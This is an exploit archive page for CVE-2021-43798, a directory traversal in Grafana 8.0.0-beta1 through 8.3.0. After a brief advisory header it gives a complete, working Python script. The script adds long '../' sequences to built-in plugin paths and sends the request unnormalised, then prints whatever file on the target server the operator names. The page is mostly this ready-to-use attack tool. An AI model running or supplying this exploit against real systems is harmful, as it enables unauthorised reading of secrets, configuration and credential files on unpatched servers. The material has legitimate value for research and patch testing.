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Grafana 8.3.0 Directory Traversal / Arbitrary File Read

Grafana 8.3.0 Directory Traversal / Arbitrary File Read
Posted Dec 9, 2021
Authored by s1gh

Grafana version 8.3.0 suffers from a directory traversal vulnerability that can allow for arbitrary file reading.

tags | exploit, arbitrary, file inclusion
advisories | CVE-2021-43798
SHA-256 | 9273519e26f2056463537ab66f8628cb91f138407ab75d06184d8d23d07ea50d

Grafana 8.3.0 Directory Traversal / Arbitrary File Read

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# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]

def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

while True:
file_to_read = input('Read file > ')

try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)

if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass

def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()

try:
exploit(args)
except KeyboardInterrupt:
return


if __name__ == '__main__':
main()
sys.exit(0)

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